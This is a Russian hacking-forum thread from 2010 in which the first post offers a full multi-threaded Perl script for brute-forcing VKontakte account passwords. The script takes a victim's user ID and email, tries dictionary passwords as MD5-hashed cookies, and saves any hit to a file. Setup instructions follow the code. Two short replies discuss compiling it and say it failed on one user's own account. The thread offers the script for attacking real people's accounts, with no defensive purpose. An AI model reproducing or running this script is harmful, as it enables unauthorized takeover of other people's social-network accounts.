Вернуться   D3Scene.Ru Софт портал игр | Хаки | Проги | Статьи > Другое > Социальные Сети > ВКонтакте > Программы, боты
Присоединяйся к нам



Ответ
 
Опции темы Опции просмотра
Старый 26.05.2010, 14:54   #1
This? On Melancholy Hill




 
Аватар для UnDeaDRoCUser
 
Регистрация: 18.09.2008
Адрес: system32
Сообщений: 5,237
Репутация: 1415
Отправить сообщение для UnDeaDRoCUser с помощью ICQ Отправить сообщение для UnDeaDRoCUser с помощью Skype™
Автор Сообщение

Vkontakte.Ru Brute [FinaL] (на perl)


Код:
#!/usr/bin/perl

use IO::Socket;
use MD5;
use threads;
use threads::shared;
my @pass : shared;

######################################
# C!klodoL
# vkontakte.ru bruteforce with multi-threads
######################################
$dic = 'passl.txt'; #словарь паролей
$id = 111111; #id жертвы
$mail = 'mail%40mail.com'; #мыло жертвы, вместо @ вписать %40
$threads = 4; #количество потоков
######################################

open (pass, "<$dic");

Next:
@pass = pass();

for(0..$threads) {$trl[$_] = threads->create(&Brut, $_);}
for(@trl) { $_->join; }

sub Brut
{

while (@pass){

$pass = shift @pass;

$md5 = MD5->hexhash($pass);
$sock = IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>'vkontakte.ru',PeerPor t=>80);
print $sock "HEAD http://vkontakte.ru/ HTTP/1.0rn".
"Host: vkontakte.rurn".
"Accept: */*rn".
"Content-Type: application/x-www-form-urlencodedrn".
"User-Agent: Mozillorn".
"Cookie: remixchk=2; remixmid=$id; remixemail=$mail; remixpass=$md5rn".
"Connection: closernrn";
$answ = <$sock>;
close $sock;
print "$pass $answ";
if ($answ =~ /302/){
open (good, '>>good.txt');
print good "$id:$pass:$md5n";
print "$id:$pass:$md5n";
close good;
exit;}
}

}

goto Next;

sub pass
{
my (@mas);
while (){
push @mas, $_;
last if (@mas == 400);
}
chomp @mas;
return @mas;
}
- Качаем прогу ActivePerl 5.10.0.1001 или более раннюю версию.
- Создаем текстовик brut.txt
- Копируем код в brut.txt и настраиваем переменные под себя.
- переименовываем файл из brut.txt в brut.pl
- туда где лежит этот файл, копируем файл со словарём, обзывая его passl.txt
- создастся good.txt, где и будет ваш пасс.
__________________
[ [Ссылки скрыты от гостей.] | [Ссылки скрыты от гостей.] | [Ссылки скрыты от гостей.] | [Ссылки скрыты от гостей.] | [Ссылки скрыты от гостей.] | [Ссылки скрыты от гостей.] | [Ссылки скрыты от гостей.] | [Ссылки скрыты от гостей.] | [Ссылки скрыты от гостей.] | ]

[ [Ссылки скрыты от гостей.] ]

  Ответить с цитированием Наверх
Старый 26.05.2010, 14:59   #2
Матерый

 
Аватар для Byter
 
Регистрация: 26.04.2009
Сообщений: 264
Репутация: 261
Отправить сообщение для Byter с помощью ICQ Отправить сообщение для Byter с помощью Skype™
По умолчанию

могу скомпилировать код =) и ненужен будет ActivePerl 5.10.0.1001
upd:
сор но компилировать не буду так как я даже свой акк сбрутить не смог =)

Последний раз редактировалось Byter; 26.05.2010 в 15:17.
  Ответить с цитированием Наверх
Старый 26.05.2010, 15:01   #3
Бан
 
Аватар для KimaRuKa
 
Регистрация: 09.03.2010
Адрес: На Земле
Сообщений: 291
Репутация: 70
Отправить сообщение для KimaRuKa с помощью ICQ Отправить сообщение для KimaRuKa с помощью Skype™
По умолчанию

Цитата:
Сообщение от Byter Посмотреть сообщение
могу скомпилировать код =) и ненужен будет ActivePerl 5.10.0.1001
давай!
  Ответить с цитированием Наверх
Пользователь сказал cпасибо:
Wc.OwnG (26.05.2010)
Ответ


Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 
Опции темы
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход


Powered by vBulletin
Copyright © 2017 vBulletin Solutions, Inc.
Перевод: zCarot | Дизайн: G-A | Верстка: OldEr
Текущее время: 14:29. Часовой пояс GMT +4.